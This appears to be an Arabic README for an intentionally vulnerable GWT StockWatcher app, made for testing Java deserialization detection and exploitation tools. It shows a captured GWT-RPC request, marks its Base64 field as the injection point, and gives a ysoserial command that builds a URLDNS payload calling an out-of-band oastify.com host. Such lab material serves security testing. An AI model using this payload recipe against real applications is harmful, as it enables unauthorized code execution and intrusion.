
تطبيق ويب قائم على GWT وهشّ عمداً لاختبار الأدوات والتقنيات
هذه نسخة من تطبيق StockWatcher النموذجي الموضح في دليل البدء مع GWT تم تعديلها لاستخدام خاصية «الفئات المحسّنة» في GWT، مما يجعلها عرضة لهجوم إلغاء تسلسل Java. يجب استخدامها فقط لاختبار أدوات الكشف والاستغلال. تُستخدم الفئات المحسّنة بشكل شائع في التطبيقات الواقعية المبنية على GWT، ولكن حتى نشر هذا المثال، لم تكن هناك تطبيقات ويب مفتوحة المصدر يسهل العثور عليها يمكن لمتخصصي الأمن استخدامها للتحقق من أدواتهم وإجراءاتهم.
لتشغيل تطبيق الويب، ستحتاج إلى نظام Linux يتضمن الأدوات التالية:
openjdk-11-jreant (ثبّته باستخدام مدير الحزم الخاص بتوزيعتك)يتطلب التطبيق عددًا من ملفات JAR كبيرة جدًا بحيث لا يمكن تضمينها مباشرة في مستودع GitHub، لذا فإن أسهل طريقة للبدء هي تنزيل أحدث حزمة من صفحة الإصدارات وفك ضغطها.
بعد فك ضغط الإصدار، عدّل هذا السطر في build.xml بحيث يستبدل /home/user/GWT/gwt-2.10.0 بدليل GWT SDK الخاص بك:
من داخل دليل الكود المصدري، نفّذ الأوامر التالية:
ant build
ant devmode
سيؤدي هذا إلى تشغيل تطبيق الويب الضعيف وجعله متاحًا على http://127.0.0.1:8888/StockWatcher.html.
لاحظ أنه إذا كنت تعيد توجيه حركة المرور إلى الخدمة المحلية لجعلها متاحة عن بُعد، فيجب عليك أيضًا إعادة توجيه المنفذ 9876 بالإضافة إلى 8888.
إذا أردت استنساخ هذا المستودع وتشغيل التطبيق دون تنزيل إصدار جاهز، فستحتاج إلى تنزيل ملفات JAR التابعة لجهات خارجية التالية وإضافتها إلى دليل lib بعد الاستنساخ:
ستحتاج أيضًا إلى نسخ ملفات GWT JAR التالية من دليل GWT الخاص بك (مثل gwt-2.10.0/) إلى دليل lib الخاص بهذا التطبيق الضعيف:
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarبعد نسخ جميع ملفات JAR هذه، نفّذ الخطوات الأخرى من قسم البدء السريع أعلاه.
باستخدام متصفح ويب مهيأ للاتصال عبر وكيل اعتراض (مثل Burp Suite)، حمّل عنوان URL http://127.0.0.1:8888/StockWatcher.html.
ستعرض الصفحة في البداية رسالة «compiling». انتظر حتى تعرض هذا النموذج الأساسي:
أدخل سلسلة نصية قصيرة في الحقل، مثل BFOX، ثم انقر على الزر Add. يجب أن تبدأ الصفحة في عرض تحديثات عشوائية لرمز السهم المُحاكى:
في سجل وكيل الاعتراض، لاحظ أن متصفحك يرسل الآن طلبات POST متكررة إلى http://127.0.0.1:8888/stockwatcher/checkCustomClass1، على نحو مشابه لما يلي:
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
البيانات الثنائية المشفرة Base64 rO0ABXcEAAAAAA== هي نقطة حقن قابلة للاستغلال في الطلب. لاستغلال تطبيق الويب، ستحتاج إلى توليد حمولة بديلة. على سبيل المثال، لتوليد حمولة URLDNS باستخدام نسخة Bishop Fox المخصصة من ysoserial، يمكنك تنفيذ الأمر التالي:
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
أرسل نسخة معدلة من الطلب تستبدل rO0ABXcEAAAAAA== بحمولتك المُولدة، ويجب أن يقوم التطبيق الضعيف بإلغاء تسلسلها وتشغيلها. بالإضافة إلى أي إجراء تسببه الحمولة، يجب أن تتضمن الاستجابة أيضًا استثناءً من نوع NoSuchFieldException مرتبطًا باسم الحقل إذا تم إلغاء تسلسل القيمة، على سبيل المثال باستخدام الاسم bishopfox من المثال أعلاه:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
إذا كنت قد استخدمت الإصدار المعد مسبقًا من تطبيق الويب الضعيف، أو أضفت يدويًا جميع ملفات JAR المذكورة أعلاه إلى بناء مخصص، فيجب أن تكون قادرًا (على الأقل) على استخدام الحمولات التالية ضد تطبيق الويب:
في وقت كتابة هذا النص، لم يكن الإصدار الرئيسي من ysoserial يدعم المخرجات بتنسيق GWT، لذا يرجى التأكد من استخدام النسخة المتفرعة المخصصة.